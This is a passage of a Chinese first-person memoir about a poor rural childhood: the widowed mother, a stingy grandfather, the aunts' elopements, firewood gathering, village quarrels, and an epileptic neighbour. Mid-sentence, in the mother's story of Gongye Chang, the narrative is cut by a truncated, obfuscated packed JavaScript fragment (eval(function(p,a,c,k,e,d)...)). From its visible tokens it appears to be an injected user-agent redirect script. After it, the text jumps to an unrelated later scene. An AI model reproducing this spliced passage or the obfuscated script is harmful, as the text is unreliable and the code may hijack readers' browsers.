经过我爷爷这一番解说,我们才知道我爷爷家暴我奶奶,恨我二姑,都是有原因的。 快晌午了,我妈妈说:“恁搁这里吃饭吧,爹。” 我爷爷说:“不了,恁嫂子。我家去了。” 我知道我爷爷不会在我家吃饭,我也知道我妈妈即使炒菜,也炒不出来什么好味道来,所以,我也不挽留我爷爷在我家吃饭。 “妈,俺二姑恁毒的!她还带着人上门儿打俺爷爷!”我跟我妈妈说。 我妈妈说:“她家的事儿,谁知道来。公说公有理,婆说婆有理。恁爷爷吧,吃独食。不疼孩子。他炸上一盘子花生米,每回吃饭,就把这盘子花生米儿放到他自己跟儿里,留着他自己吃,旁人就干看着。我刚来的时候,跟他们一块儿吃饭,恁爷爷让我吃花生米儿,我看旁人不吃,我也不吃。恁爷爷看我不吃,就笑笑。一家子看着他自己吃。那时候,花生米儿多稀罕了。” “俺二姑怎么跟俺二姑夫跑了的?”我问我妈妈。 “恁二姑跟恁二姑夫是自谈的,恁爷爷觉得丢门败户,不同意。恁二姑就直接跑去跟恁二姑夫住一块儿了。有一回,生产队里的其他社员都到齐了,准备开工的,就恁二姑、二姑夫还没到。人家一等也不来,二等也不来噢。一个嫂子就去喊恁二姑夫去了。那个嫂子想跟恁二姑夫开玩笑的,走到恁二姑夫床前猛地一掀蚊帐,里头睡着恁二姑、二姑夫,两个人光滑的腚。顿时,三个人的脸上都跟大红布样。” 我妈妈说。 “恁大姑也是跟恁大姑父跑的。恁爷爷一开始给恁大姑定了萝村的婆家,都买了衣裳过红了。恁大姑后来去会宝岭大坝那里拾柴禾,大坝上有‘出夫子’的工人搁那修大坝,里头就有恁大姑夫。他因为犯了事儿,坐了牢,前妻跟他离了婚,带着一个小丫头改嫁了。他见恁大姑一个大闺女,就跟她拉呱,买东西给她吃,一来二去,两个人就好上了。” 我问妈妈:“‘过红’是什么意思啊?” 我妈妈说:“‘过红’就是把这门儿亲给定下来了。那时候人穷,定亲就是男方给女方扯几尺布,做几身儿衣裳。” “那大姑原来的婆家怎么办呢?不是已经过了红了吗?”我问我妈妈。 “恁大姑想退亲,恁爷爷不同意。恁大姑一个大闺女,找谁去给她退亲啊。退亲哪恁么容易啊,人家婆家不拉倒!人家光骂!人家恁大姑厉害。人家自己去退的亲!”我妈妈说。她的脸上露出了巾帼不让须眉的神色。 “俺大姑怎么去退的亲啊?”我问。 “恁大姑把婆家过红的衣裳叠好,放到洗衣裳的篮子里,上头用旧衣裳盖好,一个人提着篮子去了她老婆婆家。该到恁大姑时运好,那天,只有她婆家奶奶搁家,旁人都去地里干活儿去了。恁大姑还跟她婆婆奶奶说了说话儿。她婆婆奶奶问恁大姑,‘恁姐你怎么来了的?’‘俺来河沿洗衣裳,俺想俺奶奶了,俺来看看俺奶奶的。’恁大姑跟她婆婆奶奶说了几句话儿,就赶紧走了。她婆婆奶奶觉得不对劲噢,扒扒那一篮子衣裳一看,是一篮子新衣裳。人家就知道恁大姑是来退亲的了。恁大姑搁前头走,她婆家的人后头就追过来了,边追边骂。恁大姑一个大闺女,边往家跑,边回头跟追她的人对骂。‘恁养汉头将的!恁养汉头将的!’恁大姑边跑边骂,一路跑回家来了。” 大姑的脾气跟我爸爸很像,平时都是寡言少语。谁知道她一个大姑娘家,为了亲事竟然有这么大的勇气。 “俺爷爷愣是不同意,怎么办?”我说。 我妈妈说:“恁大姑直接去了恁大姑夫家了。”我妈妈说,“恁大姑到了她婆婆家,恁大姑夫脾气好,恁大姑的老婆婆,为人和善,对恁大姑也好。有一回,恁大姑刷碗的时候,把一摞碗给打了。恁大姑吓地‘哇哇’地哭。她老婆婆就问她,‘恁嫂子,你哭什么的?’恁大姑哭着说,‘俺以前搁娘家,要是打了碗,俺爹说打就打,说骂就骂。’恁大姑的老婆婆赶紧安慰恁大姑说,‘没事儿,打个碗怕什么的,旧的不去,新的不来。可别哭了。’大姑听了她婆婆的话,这才放下心来,不哭了。” “俺大姑夫长得俊。”我说。 “恁大姑夫长得可不赖,人家以前唱过戏。”我妈妈说。 “怪不得俺大姑要退婚。”我说。 “俺听恁大姑老婆婆说的。恁大姑跟恁大姑夫两头儿睡觉,到了夜里,恁大姑都是爬到恁大姑夫那头儿,去找恁大姑夫。” “俺二姑夫也好看,也俊。”我说。 “是的,恁二姑夫就是俊!”我妈妈说。 到了中午,我妈妈炒了一大碗的木耳给我们吃。光炒的木耳,没什么油,也没有葱姜蒜。 我说:“妈妈,你怎么炒了恁多木耳的?” 我妈妈说:“人说话要有出息,不能嫌东西多。有一户人家,是个大地主。大婆子长得那个胖啊,坐在大八仙椅上,那个腚大的啊,那个八仙椅子都快装不下了。地主的大婆子会说话,说话有出息。人家一说,恁家恁些地的?大婆子就说,哪里多了?地主的家里良田万顷,过得那个阔啊。后来,地主嫌弃这个大婆子了,又娶了个小媳妇。小媳妇长得瘦瘦小小的,跟着地主去看自己家里的地。小媳妇边看边说,俺的个娘啊,怎么恁么些地的?地主一听,心里想,完了,好日子过不长了。小媳妇不会说话。后来,地主家越过越孬,再也没有恁些地了。” 我说:“那要说东西少吗?” 我妈妈说:“也不能说少。有一户人家,打了粮食,那个女的去麦场上看粮食,她不会说话,看着粮食,嘴里说着,就这一肚脐眼子的小麦啊。结果,下了一场大雨,她想收小麦,可是来不及,她就趴在小麦上。满场的小麦都被大雨给冲跑了。到最后,真就剩了她一肚脐眼子的小麦了。” 那时候,荆堂的人已经开始种大棚了。我家本来也打算种大棚的,我爸爸已经买好了红色的胶丝绳子了。可是他一死,我家种大棚的事儿也就随着搁置了。那些团成球的红色的胶丝绳子还放在我家里。人家种大棚,都有新鲜的菜吃,我家没有。 一天下午,我们跟妈妈都在天井里,大门外有人敲门,我一看,是住在南家前姓许的“大二蛙子”叔。他是大虎的二叔,我们平时也叫他二叔。“大二蛙子”叔个子高高的,瘦瘦的,常穿件利利索索的浅褐色的小西服,黄里透红的脸上留着两撇小胡子。二叔三十多了,还是单身,他跟人家一样出力、干活,推车子,但是衣着很整齐、干净,不像个地道的农民。 二叔没结婚,主要还是因为穷。他的嫂子,大虎的妈妈,还是被媒人给骗来的。据说,大虎爸爸家里很穷,住的是生产队里的牛棚。大虎的妈妈,经媒人介绍,来大虎爸爸家里相亲。大虎的爷爷奶奶,借了亲戚朋友的粮食,一麻袋一麻袋地摞在一块儿。 媒人领着大虎的妈妈,在窗户外头,探头儿观看。只见屋里头是一麻袋一麻袋的粮食。 媒人在大虎妈妈的耳旁夸赞:“你看看人家!吃不完用不净的粮食!”大虎妈妈就这样被骗到了老许家。 二叔提着一篮子新鲜的青辣椒和茄子。 “嫂子!给恁菜吃!”二叔的脚步停在我家院子的石台子前头。 “您看看!二兄弟!谢谢恁了!”妈妈当然蒙情不尽。二叔没再多说什么,倒下菜,提着篮子就走出去了。 后来,听说二叔用自行车推着一床被子去了人家家里,做了上门女婿。二叔个子很高,人也勤劳、实在,那么好的一个小青年儿,因为家里穷,没有出路,娶不起媳妇。 荆堂的小青年儿,就像西岭上的山花子一样,亭亭地在贫瘠的山岭上生长,可是脚下扎根的地方太过荒凉,没有沃土的滋养,外庄上的姑娘闻不到他灵魂里的芬芳。 晚上,我妈妈端来一盆水,她把脸盆子靠在我家天井里的小苹果树前头,那棵小苹果树有一颗大葱那么高了,开着白白的花儿。妈妈让我跟弟弟先洗澡,我们洗完了,她再给我妹妹洗。我妹妹那时候还小,我妈妈一给她洗脸,她就“哇哇”大哭,哭地小脸蛋儿红红的。 我们站在一边儿看着,跟我妈妈说:“笑笑怎么不爱洗脸的?哭地跟杀猪的似的。” 我妈妈一把一把地给她洗着:“洗澡先洗脸,洗澡不洗脸,吃饭光打碗。不怪恁小妹哭。大人的手皮子粗,小孩儿的脸皮子嫩。我这是搓疼她了。” 等我们全都洗完了,我妈妈自己再洗。她洗的时候,天早已黑了。 “我去看看大门栓好了吗。”我妈妈光着身子就朝大门那里走去。 黑影儿里,她的晒黑的四肢与黑夜同形,根本就看不清,我只看见她没被晒黑的白色的部分,在夜色里移动,像个四四方方的机器人。我妈妈的身躯是有力量的,她是我们唯一的神。自从我爸爸去世以后,我没怎么见过我妈妈哭,也没怎么见她难过。她还是那么神采奕奕地带着我们生活。她是一个女人,她更像一个男人,她是那么刚强,她是那么光辉、有力量,她的光辉始终照耀在我们的身上。 半夜,我被蚊子咬醒了。睁眼一看,妈妈正在举着洋油灯,盯着蚊帐,用灯头火儿给我们逮蚊子。那是一顶蓝色的蚊帐,因为我妈妈用灯头火儿逮蚊子,上面有好几个被火燎了的小洞。 “你看,蚊帐角儿里都是蚊子,喝的都是咱的血。我得把它逮了,省得它咬咱。”我妈妈说。 我妈妈逮蚊子,我也起来帮着逮。 “恁热吧?热了扇扇扇子。交了七月节,夜寒白夜热。等到七月就不那么热了。”我妈妈说。 我妈妈逮逮蚊子,我们继续睡觉。想想真奇怪,小时候,我们姊妹三个跟妈妈挤在一张床上怎么一点儿都不觉得挤呢?小时候跟着妈妈,没有风扇,怎么一点都不觉得热呢? 我爷爷家里养鸡,我们没怎么吃过他的鸡蛋。我爷爷每天早上把碗放在磨台上,舀上一勺子荤油,暖壶里倒点儿开水,给自己冲一碗鸡蛋茶,来抚养他自己。 “人家跟我说的,你可得把自己抚养好。三个小孩儿还得靠你呢!”我爷爷边吃边说。 端午节的时候,栗树行里的小核桃都结了小小、绿绿的果子,看起来像个小苹果,翠绿可爱。只是里头的核桃壳还很薄,壳里的核桃仁还像是娇弱的大脑皮层,包着果冻似的水嘟嘟的果肉。核桃还没有成熟,还不能吃。 我妈妈用核桃叶子煮了一锅鸡蛋,分给我们几个吃。 鸡蛋煮好了,捞出来,放在石台子上的瓷盆子里头,用凉水浸着,等鸡蛋凉透了,她就喊我们三个过去吃鸡蛋。 “吃吧。一人三个!”我妈妈说,“拿核桃叶子煮鸡蛋,小孩儿吃了不长□□瘟。”□□瘟就是腮腺炎。得了□□瘟,腮帮子下头会肿起来。 用核桃叶子煮过的鸡蛋,像是被棕色的墨汁染过了一样,黄黄的,黑黑的,比寻常鸡蛋显得更有味道了。 我们就开始剥鸡蛋吃。 “妈妈,你吃鸡蛋吧?”我问她。 “妈妈吃鸡蛋!”我妹妹说。 “我不吃!恁吃吧!恁是小孩儿!妈哪能跟恁争着吃啊!” 我妹妹不会剥鸡蛋,剥出来的鸡蛋壳子,还带着一层蛋白儿。 “笑笑,你是怎么剥的鸡蛋啊!鸡蛋白子都剥掉了。可惜了吧,妈都舍不得吃!我搁凉水激的,都离骨儿了哎!” 我妈妈走过去帮我妹妹剥着鸡蛋,把那带着一点点鸡蛋白儿的蛋壳放进她的嘴里。 “鸡蛋壳子也有营养!人家有的人,专门用鸡蛋壳子下挂面吃!”我妈妈把那鸡蛋壳子吃了,她嚼地很香。 “恁爷爷平时舍得煮个鸡蛋给恁吃吧?”我妈妈问。 我们摇摇头。 “俺爷爷都是留着给他自己呲鸡蛋茶喝。俺爷爷说的,人家都让他把他自己的身体给抚养好。俺三个小孩儿还得靠他。” “三个小孩儿靠他啊?”我妈妈对我爷爷的话嗤之以鼻,“鸿雁贫血,他都舍不得给鸿雁冲个鸡蛋茶喝喝!鸿雁多叨筷子菜吃,恁爷爷都指着他的头皮骂!我也能给自己每天冲个鸡蛋茶喝喝!我能那样吧?我要是光顾着自己都吃了喝了。恁小孩儿怎么办了?鸿雁要是指望恁爷爷啊,早就给葬送死了!” 但是鸡蛋壳子毕竟没什么营养,我家也没有那么多的鸡蛋。我妈妈吃鸡蛋壳子的时候也是少之又少。 不久,我妈妈的贫血病又犯了,她常常从萝村的挺和医生那里,提回来两大瓶子跟农药水一样的补血水。那是很大的玻璃瓶,棕色的。补血水很甜,我妈妈蹲在屋当门里倒着喝的时候,我们就站在旁边看,妈妈就用汤匙分给我们一人一口。 “我贫血底子又犯了,不能干重活了。”我妈妈说,“我要是倒下来了,恁姊妹仨就没人问了。指望恁爷爷,能管什么乎哎。” 我妈妈又说:“‘能叫云里走,不叫死到手’。我要是得了病快死喽,我就把恁姊妹几个头上插上草棒儿,送给人家养着,谁能把恁姊妹几个养大,恁就认谁当娘。恁爷爷是不同意哦,他是‘能叫死到手,不叫云里走’。他知道什么哎。” 3.拾柴禾 那时候,家家都缺柴禾,很多人都拎着大筐子去拾柴禾。 夏天,我妈妈经常去河北沿儿割草,把割的草晒干了当柴禾,我放学以后,就去找她。那是一个低洼的地方,在北荆堂以北。与北面的白山村一河之隔。这里百草丰茂,河水清清,天宽地广,风吹草低见牛羊。 我妈妈不知道从哪里弄来一个青青的小苹果,把它放在我家箢子里,在梁头上吊着。那个绿色的小苹果,静静地呆在箢子里,绿绿地,很好看。我想,妈妈既然先不给我们吃,那我们就等着,等哪天,我妈妈让我们几个分着吃。我也能尝上一口。 穷人家的孩子,家里姊妹多的孩子,活地太老实,太憋屈,太窝囊了。要是搁现在,我要是得了一个苹果,根本等不到我孩子亲自发现,我就双手给她奉上:给!去啃!去吃!去造!去浪费! 一个星期天,我想去西岭割柴禾去了。就跟我妈妈说:“妈妈,咱去西岭割柴禾去吧。” 我妈妈说:“天热,路太远了。不去了。” 我说:“我不怕热,我背着粪箕子。” 我妈妈说:“我不去。你想去,你自己去吧。” 我那阵子说不上是想割柴禾,还是想去西岭上玩了。我真的就背上粪箕子去了西岭。我一个人背着粪箕子爬上了西岭,到了我爷爷家的山芋地那里。太阳升起来了,路边多的是高高的狼尾巴蒿子。我随便一割,就割了满满一粪箕子。刚下过一场大雨,脚下的岩石层上积了很多水洼,我把凉鞋伸进水洼里,涮着玩儿。不远处就是人家的坟子,这些坟子我早就见怪不怪了,一点也不害怕。 我背了一下粪箕子,有些沉。我往我家的方向看看,我在高高地西岭上,在远远的大西南。我家在低低的荆堂,在远远的大东北。我盼着我妈妈能来接我一下,或者我妈妈能派我弟弟来接我一下。可是夏天的中午,看不到几个人。我看没人来接我,我就自己背着那沉沉的粪箕子往家走。 青青的狼尾巴蒿子很沉,粪箕子压地我肩膀很疼。我想把那些蒿子扯下来一把,减轻一下负担,可是我又舍不得扔。我就咬着牙,背着粪箕子往家赶。一路上,我走一走,歇一歇,好几次,遇到了我们庄上的人,我都想让他们带个信给我妈妈,让她来接我一下。可是我又忍住了。就这样,我满头大汗地把那一粪箕子沉沉的蒿子背回了家。 我推开我家大门,正准备跟我妈妈说话。却看见我妈妈手里拿着那个绿色的小苹果,正分给我弟弟妹妹吃呢,我当时就不高兴了。但我没有提小苹果的事儿。 我跟我妈妈说:“我跟你说我去割蒿子去了,你怎么不去迎迎我的?我一路背着回来都累死了。” 我妈妈说:“我不是不让你去的吗?你自己想去的,怪谁啊 。你割那蒿子又不好烧锅,光沤烟,不起火儿,我烧锅都不想烧它。” 我说:“那我背地那么沉,你就不能去迎我一下啊?” 我妈妈说:“我不让你去,你非要去。怪谁啊,活该。” 我被我妈妈一句话堵地又气又没有话说。想想我妈妈趁着我不在家给我弟弟妹妹吃苹果,更加委屈、窝火。我就这样一口气被憋住了。 一连几天,我的肚子里都是鼓鼓的,吃不下饭。 我妈妈问我是怎么回事。我说:“我就是因为你那天的话给气的。” 我妈妈听了,笑着说:“你真的被我气着了?我给你想办法哈。我炒点糊粮食,烧点糊粮食茶,你喝喝,就好了。” 我妈妈说完,就去外头大锅里炒了糊粮食,烧了茶,放在石台子上,留给我喝。 我妈妈说:“有的人气性大,要是气地厉害了,能气出病来。要是得了气鼓,就不好治了。有一个女的,她被她老婆婆欺负,她不吭声儿,就知道干活儿。一天,她正烧着锅,突然就倒下了。她丈夫把她推到医院一检查,心脏都裂开了。硬硬地被气的。” 我喝了一碗糊粮食茶,果然很快就不憋气了。 没有青蒿子可以割的时候,我妈妈就去石塱里割酸枣树烧锅,她把酸枣树割了来,背回家里,堆在我家屋东头儿,晒干了,用叉子挑着,放到锅底下烧锅。庄上也有拾柴禾的妇女,但是成天拿着镰刀,背着粪箕子,割酸枣树来烧锅的,只有我妈妈一个。 我跟我妈妈说:“妈,你割的这些圪针怎么烧锅啊?光扎手。” 我妈妈说:“枣圪针都是油,好烧锅。恁小孩不要烧,我烧。” 我说:“妈,你怎么想起来割枣圪针烧锅的?你不嫌扎手啊?” 我妈妈说:“我没生你的时候,恁爸爸上东北了,我自己搁家里,我没有柴禾烧,就背着粪箕子去割枣圪针烧锅。冬花的娘看到我割枣圪针,她就觉得不痛快。成天对着我指桑骂槐。‘天天割,天天割。我点的庄稼都让她给我割了。割了恁么多枣圪针,往哪儿塞的啊?塞的下吗?也不怕撑死了。’” “那你不骂她吗?”我说。 “我怎么骂?人家又没有明着说。人家仗着人家丈夫弟兄四个,占贤。” 我说:“冬花的娘是怎么死的?” 我妈妈说:“喝药死的。” 我说:“她恁么厉害,她怎么喝药死了的?” 我妈妈说:“因为她老公公买了桃,送给几个儿媳妇吃。不知道是因为分给她的少了呢,还是给她送晚了。她跑到她老公公家,跟她老公公大吵一架。回家就喝药死了。” “天呐,她老公公说她什么了,是不是骂她了?”我问。 “人家她老公公脾气可好了,拿着儿媳妇可疼了,什么事儿都是让着儿媳妇。人家可没骂她!人家比恁爷爷奶奶强!”我妈妈说。 “那她干嘛喝药死了啊?”我说。 “谁知道来,一时想不开,钻了牛角尖儿了。”我妈妈说。 “她那些日子不是骂你嘛,结果自己给气死了。”我说。 “咱别笑话人家。恁爸爸不也是死的早嘛。”我妈妈说。 “她死了,冬花跟她大姐,只能跟着她爸爸了。”我说。 “是的。撇下两个小孩儿,可怜吧。抬手不打无娘子,开口不骂赔礼人。”我妈妈说。 “现在冬花成了没有娘的人了。”我说。 “人家有她爸爸。她爸爸能挣钱。我不能挣钱。”我妈妈说。 “那我还是觉得有妈妈好。”我说。 “宁要要饭的娘,不要做官的爹。当妈的再难,都会对小孩儿好。当爹的会找后妈,有了后妈,就有后爹。”我妈妈说。 “冬花跟艳飞好,跟我不好。她骂人可厉害了。我跟她玩不到一块儿去。”我说。 “玩不到一块儿,你就不跟她玩。”我妈妈说。 “妈,人家都说冬花的鼻子是黄鼠狼子给咬的,是真的假的?”我问。 “是真事儿。她还在月窝窝儿里的时候,大人把她自己搁在一边儿睡觉,没看好她。被黄鼠狼子给咬了。小孩儿,可得看好。”我妈妈说。 有一回,我妈妈割柴回来,背回了一粪箕子跟臭花生一样的东西。 “这是草决明,我搁石塱里看到的,跟臭长果长在一块儿。草决明是一种药,旁人都不认得。臭长果臭,草决明不臭。草决明晒干了,剥剥,放锅里炒炒,泡水喝,眼亮!” 草决明晒好了,决明子跟绿豆差不多。一大早,我妈妈烧上一瓷盆子开水,里面放上一把决明子,那水泡出来红红的,等凉了以后,就可以舀着喝了。 我上学的时候,用空塑料瓶子装上一瓶,带到学校里喝。张益华她们不知道我瓶子里装的是什么,还以为是什么高级的饮料。 “宋大省喝的是红糖水吗?”有人问。 “是可乐!”比别人都有见识的张益华说。 “不是的,是俺妈妈烧的凉茶。草决明的凉茶!”我说。 她们不知道什么是草决明,都觉得我手里的红红的茶水好看。 “我还当是可乐!”张益华说。 可乐是什么,我那时候没有喝过。我家里有一个红色的可乐罐子,上头用白色的字写着“Coca Cola”。还有一个绿色的罐子,是健力宝。那是我妈妈在去东北的火车上捡的。那种矮矮的,圆滚滚的易拉罐,看起来很可爱,摸起来滑溜溜的。 我妈妈有时候也烧火楝豆茶。她在南乡的时候,看到公路边上有火楝豆树,那上面有毛豆角一样的火楝豆,她就摘下来,带回家。火楝豆外头的壳像黄豆荚,里头的仁儿像是杏仁儿,甜甜的,苦苦的。放在锅里炒炒,有一股子糊粮食的味道。火楝豆泡茶喝去火。我那时候不爱喝,因为它苦。后来想喝的时候又没有了。 我去我爷爷家,有时候走东边,走题美奶奶家门前,有时候走西边。我家墙西边那条路,很不好走。小路东边是人家的院墙,路西是不知道谁家起的石头,摞地有一人多高。这些石头堆下头,是一个个的大水坑。里头长着苘馒头和臭长果。路面也不好,总是疙疙颠颠的。下雨天,更是坑坑洼洼、泥泞不堪,无处下脚。我就在这条夹缝中的小路上,歪歪扭扭地往前走。 我走过冬花家门口儿,看见冬花的爸爸在院子里站着。冬花好像不在家。冬花的爸爸姓徐,排行老三,冬花家东边就是她二大娘家。她二大娘也是个厉害的角色,单眼皮,神情常常是恨恨的。她的丈夫倒是个老实人,以至于她的儿子脾气也不错。二大娘的儿子叫大峰。比我高好几个年级,他脾气温和,我跟他叫大哥。大峰家东边是金荣大姐家。 大峰的妈妈坐在她家的东院墙底下,正在跟她家东院的金荣大姐吵架。金荣大姐是南荆堂竹来大爷的二闺女,嫁给了北荆堂的徐老四,跟大峰的娘做了妯娌和邻居。大峰的娘坐在她家东院墙墙根儿下,气定神闲地跟金荣大姐骂架。骂架这事儿对于大峰的妈妈来说,那是得心应手,小菜一碟。她不紧不慢、游刃有余地骂着金荣大姐,跟唱曲儿一样,信手拈来,面不改色。 金荣大姐毕竟年轻,平时为人也斯文,骂起架来要吃力地多。她坐在椅子上,隔着院墙,对着墙西的大峰的娘,把头使劲往地上控着,使尽全身的力气和仇恨来骂大峰的娘。大峰的娘在年龄上比金荣大姐大了一大截儿,她久经沙场,作战经验丰富。金荣大姐虽然拼劲全力,也看得出来,已经消耗了太多的内力。她在苦苦支撑着跟大峰的娘的骂战。大峰的娘正精力充沛,后劲儿十足。她就坐在板凳上,跟金荣大姐一唱一和。 大峰的爸爸是个老实人。他习以为常地看着他的媳妇,跟他的兄弟媳妇儿打持久战。他管不了,也不去管。他就在院子里忙活着烧饭。他时而到天井里烧锅,时而进屋拿面粉。他的媳妇就坐在他旁边,跟他的弟媳妇有来有往地骂战。这场骂战不知道要持续几天几夜。 4.“方猪儿”大爷 我家后头是一排老年房,从西头儿起第一家,住着题法老爷爷老两口子,第二家就是徐大爷爷老两口子和她们的大儿子“方猪儿”。“方猪儿”在徐家排行第一,因为患病,未曾婚娶,一直跟着他爹娘一起住。有时候我远远地看到他正坐着帮他爹娘烧锅,看起来像是好人一个。 “方猪儿”四十多岁了,夏天,他穿着个黑皮掌子钉起来的凉鞋,看起来更像个野人。奇怪,我爸爸也有那样的一双凉鞋,怎么我爸爸穿起来就没有那么难看呢。“方猪儿”,是人家给他起的外号,我不知道是什么意思。我小时候觉得就是“谈迷”的意思。 “方猪儿”经常犯“羊羔子疯”,他犯了病,就在大街上口吐白沫、翻着白眼儿到处翻滚,滚地一身土和泥。他清醒的时候,经常在南北荆堂到处走动。他板着脸,瞪着眼,长相有些凶狠。他的腿上、脸上经常血糊淋拉的,那是犯了病以后摔的,有时候碰在石头上,有时候一头栽到灶台上。这让他看着更吓人了。我们这些小孩子,看到他都害怕。 我哪里会想到,有一天,我的弟弟居然会冒然惹恼了这个太岁,让我也跟着受了好一场惊吓。 那天,是一个晴天。我弟弟正光着屁股在我爷爷家玩儿。我爷爷家的大门比我家的大门阔气,是双扇门儿。我弟弟光着屁股,踩着门槛,把东大门后头的门栓拉出来一半儿,他就吊在门栓上,“吱嘎”一声荡过去,又“哐当”一下荡过来。他太瘦了,两个胳膊屈起来的时候,后背的肩胛骨突出来,像两个小翅膀。他的脊梁骨上,算盘珠子似的小骨头,突出来,一个一个的。 我妹妹也想爬高,可她太小,不敢爬,就倚着门槛看着我弟弟,边看边笑话他:“哥,你看你个光腚猴子!” 我也跟着嘲笑他:“光腚猴子,爬门楼子。烟袋杆子,戳腚眼子。” 我们三个说着,笑着。这时候,我爷爷大门外,“方猪儿”远远地从庄里走过来了。 我看见了“方猪儿”,小声儿地跟我弟弟、妹妹说:“方猪儿!方猪儿!” 我弟弟、妹妹一听“方猪儿”的名号,赶紧从我爷爷家大门里探头到大门外,屏息凝视。 我万万没想到,这时候,我七八岁的弟弟,竟然远远地冲“方猪儿”大喊了一声“方猪儿!” 他喊完后,掉头跑回家,躲到大门里头。我正想着如何收场儿,这时,我五六岁的妹妹,竟然也冲着门外大喊一声“方猪儿!”她喊完,也赶忙跑到大门里头。 我弟弟、妹妹竟然当面喊了“方猪儿”的名号,这可如何是好?我探身儿到大门外看了一眼,“方猪儿”果然生气了。他转身到老娄奶奶大门前头的柴垛上,抽了根柴棒,他抄着柴棒,朝我爷爷家大门口走来。我跟弟弟、妹妹赶紧躲进爷爷家里来,“哐当”一声把大门关上,把门栓栓上。 “方猪儿”果然来到了大门外,手里抄着根柴棒,在门外候着。我们都吓得躲在大门里头,不敢出去。 我爷爷从堂屋里走出来,问我们是怎么回事儿。我跟他说,我弟弟、妹妹喊了“方猪儿”。我原以为爷爷会帮我们抗着门,他却笑着要去把大门打开。我怕“方猪儿”进来打我们,不让爷爷开门。可是爷爷就是不听,笑着走去开门儿。 爷爷把门打开,“方猪儿”果然在门外,抄着根枯黄的柴棒,怒目而视。 我们躲在爷爷身后,生怕“方猪儿”发作起来,大动干戈。 我爷爷却笑着劝“方猪儿”说:“行啦!小孩儿,你恁么大的人了,哪能跟小孩儿一般见识!” 按照辈分,“方猪儿”给我爷爷叫叔,我们该给他叫大爷。我爷爷是在以一个大爷的口气给他说话。 “方猪儿”听了我爷爷的话,竟然没说什么,笑笑,走开了。 后来,不知道是吓的,还是怎么回事儿,我妹妹感冒了,我妈妈要背着她去会宝岭那里的诊所去看病。从荆堂去会宝岭要绕过西岭,下一个坡儿,再爬一个高岗,大概要走几里路。我妈妈让弟弟在家里跟着爷爷,我弟弟不肯,妈妈只好把他也带上。 “主贱!搁家里跟恁爷爷多好!非要跟去!”妈妈骂道。 “福建!”我妹妹趴在我妈妈背上也骂道。 我们跟着我妈妈到了会宝岭上的小诊所,里头有很多人。有的躺在小床上,大腿上扎着银针,有的坐着,在等医生给他打针。医生给我妹妹开了药,我妈妈就带着我们回家了。 野外,传来“烧香果供”的叫声。我们那时候跟“布谷鸟”不叫“布谷鸟”,叫“烧香果供”。 我妈妈说:“‘方猪儿’会学‘烧香果供’鸟叫。” 我说:“学‘烧香果供’有什么好奇怪的,我也会啊?” 我妈妈说:“‘方猪儿’学‘烧香果供’学地像。就像真的鸟叫一样。有一回,‘方猪儿’搁会宝岭水库边儿上转悠,嘴上学着‘烧香果供’的叫声。‘吱呀’一声,一辆过路的小轿车停下来了。从小轿车上走下来一位老干部,带着警卫。老干部说,这样的天气,怎么有‘烧香果供’的,‘烧香果供’不是割麦的时候才有吗。老干部下车来四下观望,就看到‘方猪儿’在桥底下叫,那声音跟‘烧香果供’一模一样。老干部觉得‘方猪儿’是个奇人,想把他带走。让‘方猪儿’回去征求他爹娘的意见。‘方猪儿’回去跟他爹娘一说,他爹娘愣是不同意,舍不得让他走。” 我说:“‘方猪儿’要是跟着那个老干部走了就好了,他以后就能过上好日子了。” 我妈妈说:“可惜了,要是当时跟人家走了,说不定他的病早就被人家给治好了。” 我说:“妈,‘方猪儿’恁么厉害,他还会鸟语!” 我妈妈说:“‘方猪儿’就会学‘烧香果供’,不会鸟语。他又不是公冶长。” 我弟弟问:“公冶长是谁啊?” 我妈妈说:“公冶长是个人。公冶长懂鸟语。” 我说:“‘公冶长,公冶长,南山死个大肥羊。你吃肉来,我吃肠’!俺爷爷给我拉过!” 我妈妈说:“公冶长听了小燕的话,赶紧来到南山,真的背回家一头大肥羊。他把羊肉煮煮吃了,就是没把肠子给小燕儿吃。小燕儿一生气,就决心报复他。又有一天,小燕儿又喊他‘公冶长,公冶长,南山死个大肥羊,你吃肉来,我吃肠!’公冶长又赶忙跑去,远远地看见一群人围在南山上,他当时又是一只肥羊,生怕被旁人抢了先,就边跑,边急急地喊道‘那是我的!那是我的!’谁知道,这回,不是大肥羊,是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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挖汪前,要先把苇子汪里的水抽干。苇子汪抽水了,汪里的水越来越少,男女老少,都卷起裤腿儿来汪里抓鱼。大家一起在齐膝的汪水里走来走去,汪里的水浑了起来,大家都趁着浑水好摸鱼。我和我弟弟还有大龙、大伟都来了,我们拿着网兜在汪水里绕来绕去,捞来捞去,我们一群小孩儿在水里走着,叫着,捞着,也收获了半碗底的小毛鱼。别人家的壮劳力弯着腰蹲在水里,闷声不吭地在汪里摸,时不时摸到一条大鱼,“呱唧”一下甩到岸上,他的家人,另一个壮劳力,在岸上等着拾鱼。 我爷爷平时也常去水库边上捞鱼,这次他居然没来。我和弟弟把我们捞的小毛鱼带回家,爷爷刷刷锅,给我们煎鱼。虽然是几条小鱼,但是我们也吃得喷香。 我以前不知道爷爷为什么没有来跟我们一起捞鱼。爷爷抓鱼比我们有经验,他抓鱼的法子和工具也比我们的多。他为什么不去呢?爷爷如果去了,说不定能抓到几条肥肥的大鱼呢?可是爷爷一脸不在乎的样子。他也许根本就不想去? 我到现在想想,才稍微明白一点,也许是爷爷因为自己年纪大了,怕人说自己一个老头子还那么馋嘴好吃?还是因为那汪曾经是二姑家承包的,所以我爷爷不屑去捞她家的鱼?还是因为爷爷怕自己去苇子汪捞鱼,二姑夫看到了,会羞辱他? 不久后的一天,庄里的男女老少拿了铁锨,铙钩,来苇子汪干活了。全体男女老少被分成一组一组的,把汪底的土用铁锨扬起来,堆到汪坝上。跟往年间“出夫子”修大坝似的。挖苇子汪的任务,每家都有份儿。我家没有男劳力,只有我妈妈一个人。 